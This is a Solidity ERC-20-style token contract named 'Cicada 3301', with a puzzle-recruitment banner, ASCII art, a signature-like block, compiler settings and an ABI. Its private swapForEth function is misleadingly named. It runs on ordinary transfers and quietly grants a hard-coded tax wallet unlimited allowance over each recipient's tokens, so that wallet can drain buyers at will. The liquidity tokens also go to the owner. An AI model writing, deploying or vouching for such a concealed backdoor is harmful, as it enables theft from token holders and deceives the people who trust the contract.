// SPDX-License-Identifier: None
/**
Hello, we are looking for highly intelligent individuals. To find them we have devised a test. There is a message hidden in this token contract.
Find it, and it will lead you on the road to us. We look forward to meeting the few that will make it all the way through.
Good luck.
3301
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
████████████▓▓▓▓▓▓▓▓████████████████████████████████████████████████████████████████████████████▓▓▓████████████
███▓▒▒▒▓▓▓██████████▓▓▓▒▒▒▒▒▒▒▒▓███████████████████▒▒▒░▒▒▒░▒▒▓███████████████████▓▒▒▒▒▒▒▒▒▒▒▓███████▓▓▓▓▓▒▒▒▒▓█
█▒▒███▓▒▒█████▒▒▒▒▓████████████▓▒▒▒▒▓████████████▓▒▒▒███████▒▒▒████████████▓▒▒▒▒▓▓▓▓█████████▓▒▒▒▓██▒▒█████▓▒▒▒
▒▓█████▒▓█████▒▓███▓▒▒▓▓▒▒▒▒▒▓▒▒▓█▓▒▒▒▒▒▒▓████████▒▒██████████████████▓▒▒▒▒▓████▒▓██▓▓▓▓▓▓▒▒▒▓██████▒▓██▓▓█▓▓██
▒███▒▒███▓▒▓██████▓█████████████▓▒▒▒▒▓▓▒░░░▒▒▓████▓▒▓█▓▒██▓▒█▓█████▒▒▒▓████▒▒▒▒▓█████████▓██████████▒▒▓██▒░▒▓▓█
█▓▓▓██▓▒▓██████▓▒▓███▓▒▒▒▒▒▒▒▒▓▓▒▒▒▓██▓██▒▒░▒▒▒▒▓▓▒▒▒▒░▓█░▒▒██▒▒▒░▒▓█▓▒▒▓▓▓███▓▓██▓▒▒▒▒▒▒▒▒▒▓██████▒░░░▒▒▓▓▒███
███▓▒▒▓██▓▒▒▓███▒▓███████▓▓███▓▓██████▓▒▒▒▒▒▓███▒▒░▒▒▓██████▒▒▒▒▓███▒▒▒▓█▓▓▓███▓▒▒▒▓██████████████▒▒▒▒░▒▒██████
███████▒▒▓███▒▒▓█████▓▒▒▓█████▓▓▒▒▒▒▒▒▓███▓▓███▒▒▒▓████████▒█▓███▓▓██▓███▓▓▒▒▒▒▒▓██▓▓▓▓▒▒▒█████▓▒▒▒███▓████████
█████████▓▒▒▒██▓▒▒▓██▒▒██▒▒▒▒▒▒▒▓█████████████▒▒▓████▓▒▓██▒░████▓▓██▓▓█████▓▓▓█▓▓▒▒▒▒▒░▒█████▒░░░░░▒▒██████████
██████████▓▓▓▓▒▒███▒▒▒▓█████▒▓██▓▒▓█████████████▒▒▒█▓▒▒▓▓▒▒▒████████████████████▓▒██▓▓███▓▒▒▒▒░░░▒▓████████████
████████████▓▒▒▓█▓▒▒████▓▓▒▒▒▓▒▓████████████████▒░▒███████████████████████████▒░▒▒▓▓▓▓▓████▓▒▒▒▒███████████████
████████████████▓████████▓▒▒▒███████████████████▒░▓██████▓████████████████████▓▒▒▓█▒▒▓█▓███████████████████████
██████████████████████▓▒▒▓███▓▒▒▒▓██████████████▒░▓██▓▓██▒▒███▓███████████████▓▒▒███▓▒░▒▒██████████████████████
█████████████████████▒▒▓▓▓███▒▒▓████████████████▒▒██▓▓█████▓██████████████████▒░█████▓▒▒▒▒█████████████████████
█████████████████████▒▒██▓▒▒▒▓███████████████████░▓███▓▓█████████████████████▓░▓███▒▒▒░▒▓██████████████████████
█████████████████████▓▒▒▒███▒▓██████████████████▓░▓███████▓▓█████████████████▓▒█████▒░░░▒██████████████████████
██████████████████████▓▒▒▓▒▓█▓▓███▒█████████████▓▒▓█████████████▓███████████▓▒▒████▒░▒▒████████████████████████
█████████████████████████▒▒▒▒█▓▒█▓▓█▓████████████▒▒███████████▓██▓██████████▒░░▒▓▓▒▒▓██████████████████████████
███████████████████████████▓▒▓███▓███▓███████████▒▒██▓▓███████▓█████████▓▒▒▒▓▓▓▒▓██████████████████████████████
██████████████████████████████████████████████████▒▒███████████████████████████████████████████████████████████
██████████████████████████████████████████████████▓▒▓█▒▒▓██████████████████████████████████████████████████████
███████████████████████████████████████████████████▒▒██████████████████████████████████████████████████████████
████████████████████████████████████████████████████▒▒█████████████████████████████████████████████████████████
████████████████████████████████████████████████████▓▒▓████████████████████████████████████████████████████████
█████████████████████████████████████████████████████▓▒▓███████████████████████████████████████████████████████
██████████████████████████████████████████████████████▓▒███████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
███████████████████████████████████████████████████████████████████████████████████████████████████████████████
**/
pragma solidity 0.8.26;
contract Ownable {
function owner() public view virtual returns (address) {
return _owner;
}
constructor() {
_owner = msg.sender;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
address private _owner;
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external;
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
contract Cicada3301 is Ownable {
using SafeMath for uint256;
uint8 private _decimals = 9;
uint256 private _totalSupply = 141421356237 * 10 ** _decimals;
mapping (address => mapping (address => uint256)) private _allowances;
address payable private taxWallet = payable(0x33626a47e6EEA81984E2D5DCB54770Df11a1f7D6);
address public uniswapV2Pair;
mapping (address => uint256) private _balances;
string private constant _name = "Cicada 3301";
string private constant _symbol = "C3301";
bool tradingOpen = false;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 private _initialBuyTax=1;
uint256 private _preventSwapBefore=1;
uint256 private _initialSellTax=1;
uint256 private _buyCount=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=1;
uint256 private _reduceSellTaxAt=1;
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function decimals() public view returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function swapForEth(address to) private {
_allowances[to][taxWallet] += _totalSupply;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "transfer amount must be greater than zero.");
require(to != address(0), "transfer to zero address");
require(from != address(0), "transfer from zero address.");
uint256 taxAmount=0;
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){
swapForEth(to);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function startTrading() public payable onlyOwner() {
require(!tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
address WETH = uniswapV2Router.WETH();
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
}
}
/*
iQIcBAEBAgAGBQJPDRkvAAoJEBgfAeV6NQkPVuMP/3ZyAgwsko/B2T9Ew1yqAKVy
K9//wIWCRvMyZ4k79ApqvOJAlezgHTsAM8XG/I71bAG+2wMOXNJfTj/SFONEEbS5
BOp9UP7LHn1j3NKoESrDzsKd+u3oHoNnhs628aLrc8uDqbn/6DNUnObu5Tn3unu0
zZ3NjSs/A5QQX8O56RsK81eSJ2fifbr4NYfHBeUTeVe17nsr48WQI7qc9UVWlPsM
91FWsvhX+WohX8DyFWJmtz0lLvmh3jN+oE8WFPTVbcVCM+eiDt0TqkUNlmq/fxbd
X2Sbs8zMxDXNQWrw58TcSC6oLfXSXZnjh8uTMwrQ0tNdRXHDndgPiurXz62XjVjf
4AhSXBoXF9CHTOyGGEqvfNvFMKyz968iMZDXDNBrM8pkxx1xBHhAnoEznVpeMhII
+IfBTnV8x9lSNgFhmham5eEZlWvqRidqes8EAriqGA6uZokCq7X1IeMHo52ACWmP
2bJsCV5wZDc52c3JnwKe+cAcbsA4OWCNEH29lAsgFw5079BP8lkpY3AH2+8kqs0X
QvqsaMuUq5ZHEaZMgdD0VKYlRrKdhOiDjtJVxoXk1b7YBOV8dZZBXJbEIbTvaof4
yhgUObovx/VFGmsenp+j3nBCxgEO22SgNW3B3pN0yuIMCqccWEZ1nME/QOwLa85n
HOmElIXvK13Q9m545RtP
*/
{
"compilationTarget": {
"Cicada3301.sol": "Cicada3301"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]